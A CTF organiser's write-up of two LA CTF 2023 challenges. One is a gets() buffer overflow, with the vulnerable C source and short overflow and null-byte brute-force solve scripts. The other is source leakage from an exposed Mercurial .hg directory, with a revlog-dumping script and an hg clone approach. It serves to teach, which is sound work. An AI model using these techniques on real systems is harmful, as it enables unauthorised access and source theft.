gatekeep & my-chemical-romance - LA CTF 2023
Buffer overflow and Mercurial file inclusion challenges I wrote for LA CTF 2023.
Introduction
This past weekend I lead the team that ran LA CTF 2023! This was something I had been working on for the past year and it was super exciting to see it all come together in the end. We had almost 1000 teams and 1.7k people register for the event. There are a lot of highlights from this weekend from the amazing talks to the awesome challenges. I will be writing a blog post about the event soon but for now I wanted to share the challenges. I wrote two challenges for LA CTF 2023 for ACM Cyber at UCLA and Psi Beta Rho.
Contents:
pwn/gatekeep
This challenge involved taking advantage of a classic buffer overflow. The challenge provided the source code for the challenge and a binary (the Dockerfile was included for local testing ease but the other two files are more relevant). The provided source code is below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void print_flag() {
char flag[256];
FILE* flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
int check(){
char input[15];
char pass[10];
int access = 0;
// If my password is random, I can gatekeep my flag! :)
int data = open("/dev/urandom", O_RDONLY);
if (data < 0)
{
printf("Can't access /dev/urandom.\n");
exit(1);
}
else
{
ssize_t result = read(data, pass, sizeof pass);
if (result < 0)
{
printf("Data not received from /dev/urandom\n");
exit(1);
}
}
close(data);
printf("Password:\n");
gets(input);
if(strcmp(input, pass)) {
printf("I swore that was the right password ...\n");
}
else {
access = 1;
}
if(access) {
printf("Guess I couldn't gaslight you!\n");
print_flag();
}
}
int main(){
setbuf(stdout, NULL);
printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
check();
return 0;
}
At first glance, the challenge seems impossible! It asks for the user to input a password that is compared with a string that is randomly generated using /dev/urandom
. This introduces an introductory binary exploitation vulnerability called buffer overflow. In this program, the vulnerability is the gets
function. gets
does not check the length of the input. This means that if we input more than 15 characters, we can overwrite the value of access
which can be used to get the flag (setting it to any non-zero value results in the flag being printed). The following script solves the challenge.
1
2
python3 -c 'print("a"*50)' | nc lac.tf 31121
> lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}
Unintended: /dev/urandom
While reading some of the submitted writeups after the CTF, I learned about an additional vulnerability that also allowed this beginner challenge to be solved. The vulnerability comes from the combination of using strcmp
with an string from /dev/urandom
. As mentioned before, strcmp
reads strings until the null character is reached. This means that if the string from /dev/urandom
contains a null character, the strcmp
function will stop reading the string and we can bypass the password check and get the flag. There is a 1/256 chance of getting a nullbyte so continuing to check a nullbyte as the given input will eventually return true. The following script also works as a solution to the challenge.
1
2
3
4
5
6
7
8
9
10
from pwn import *
while (true):
r = remote('lac.tf', 31121)
r.recvuntil(b'Password:\n')
r.sendline(b'\x00')
next = r.recvline()
if (next[-4:] == b'ou!\n'):
print(r.recv())
break
r.close()
I particularly wanted to highlight the writeups of giggsterpuku and a1668k for highlighting this vulnerability. giggsterpuku also added an explanation for how this vulnerability was a feature for a challenge from Angstrom CTF 2021. Definitely recommend giving both of these a read! If you are interested in trying this challenge yourself, the source code is available at https://github.com/uclaacm/lactf-archive/tree/main/2023/pwn/gatekeep.
web/my-chemical-romance
This challenged involved taking advantage of leaked source code via an file inclusion of a Mercurial repository. Visiting the link in the above challenge prompt, we are greeted with a page that looks like this:
Without knowing anything else about the challenge, one can start by investingating parts of the client side until they stumble into the network tab where we see a set of interesting response headers which look like the following:
What exactly is Mercurial-SCM
? Mercurial is a lesser-known source-control management software similar to git
. While it may be lesser-known, it is still used by many companies and project teams (one example is Meta). Whereas git
generates a .git/
directory, Mercurial uses a .hg/
directory. The .hg/
directory contains a lot of information about the repository, including the commit history, the files in the repository, and the branches. The structure of the .hg/
directory is well documented and more can be read about it here. In order to get a general layout of the repository, the dirstate
file can be downloaded by visiting http://my-chemical-romance.lac.tf/.hg/dirstate
to get the following file:
1
>À:y‚U·ëÒ≈*Œ *}„/V> n ˇˇˇˇˇˇˇˇ gerard_way2001.pyn ŧ >cÊX8 static/404.htmln ŧ 9cÊW¿ static/index.cssn ˇˇˇˇˇˇˇˇ static/index.htmln ŧ “cÊX static/mcr-meme.jpegn ŧ QcÊJ‹ static/my-chemical-romance.jpeg
This leaks several interesting files, including gerard_way2001.py
. This file is affectionately named after the lead singer of My Chemical Romance, Gerard Way, and the year the band was started in the great state of New Jersey! Reading more about Mercurial repository structure, one can learn that similar to Git objects, Mercurial stores revlog objects in the .hg/store/
directory with files named after the file they are tracking with the file extension of .i
. However, one tricky part about the name of these files involves the escaping of special characters. Mercurial escapes special characters in the file name by adding an additional underscore. One of these such characters is the underscore character itself. :D For this reason, in order to download the revlog object for gerard_way2001.py
, we need to visit http://my-chemical-romance.lac.tf/.hg/store/data/gerard__way2001.py.i
. Once this file is downloaded, a known algorithm to parse the revlog object can be used to extract the contents of the file. A sample version of such a script is included below. You can run the following solve script by using python3 solve.py | grep lactf
to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import os, sys
import requests
from mercurial.node import hex
from mercurial import encoding, pycompat, revlog
from mercurial.utils import procutil
from mercurial.revlogutils import constants as revlog_constants
url = 'http://my-chemical-romance.lac.tf/'
filename = 'gerard__way2001.py.i'
res = requests.get(url + '/.hg/store/data/' + 'gerard__way2001.py.i')
with open('gerard__way2001.py.i', 'wb') as file:
file.write(res.content)
for fp in (sys.stdin, sys.stdout, sys.stderr):
procutil.setbinary(fp)
def binopen(path, mode=b'rb'):
if b'b' not in mode:
mode = mode + b'b'
return open(path, pycompat.sysstr(mode))
binopen.options = {}
def printb(data, end=b'\n'):
sys.stdout.flush()
procutil.stdout.write(data + end)
localf = encoding.strtolocal(filename)
if not localf.endswith(b'.i'):
print("file:", filename, file=sys.stderr)
print(" invalid filename", file=sys.stderr)
r = revlog.revlog(binopen, target=(revlog_constants.KIND_OTHER, b'dump-revlog'), radix=localf[:-2], )
for i in r:
n = r.node(i)
p = r.parents(n)
d = r.revision(n)
printb(b"node: %s" % hex(n))
printb(b"linkrev: %d" % r.linkrev(i))
printb(b"parents: %s %s" % (hex(p[0]), hex(p[1])))
printb(b"length: %d" % len(d))
printb(b"-start-")
printb(d)
printb(b"-end-")
os.remove(filename)
Running the above results in the following output to get the flag!
1
2
$ python3 solve.py | grep lactf
# FLAG: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}
Unintended: Using Mercurial
From reviewing writeups, many of the teams that solved this challenge ended up using this method. Even John Hammond got in on the action with a video about this challenge below!
Typically, for similar challenges with exposed git
repositories, you are unable to just clone the entire repository by the URL served over HTTP beause of some missing files. However, for Mercurial, this is not the case. By directly cloning the website, the repository history is able to be easily accessed to revert back to previous commits to get the flag. A sample solution script is shown below:
1
2
3
4
5
hg clone https://my-chemical-romance.lac.tf test
cd test
hg log -f gerard_way2001.py
hg backout -r 3ecb3a79e255
grep lactf gerard_way2001.py
If you are interested in trying this challenge yourself, the source code is available at https://github.com/uclaacm/lactf-archive/tree/main/2023/web/my-chemical-romance.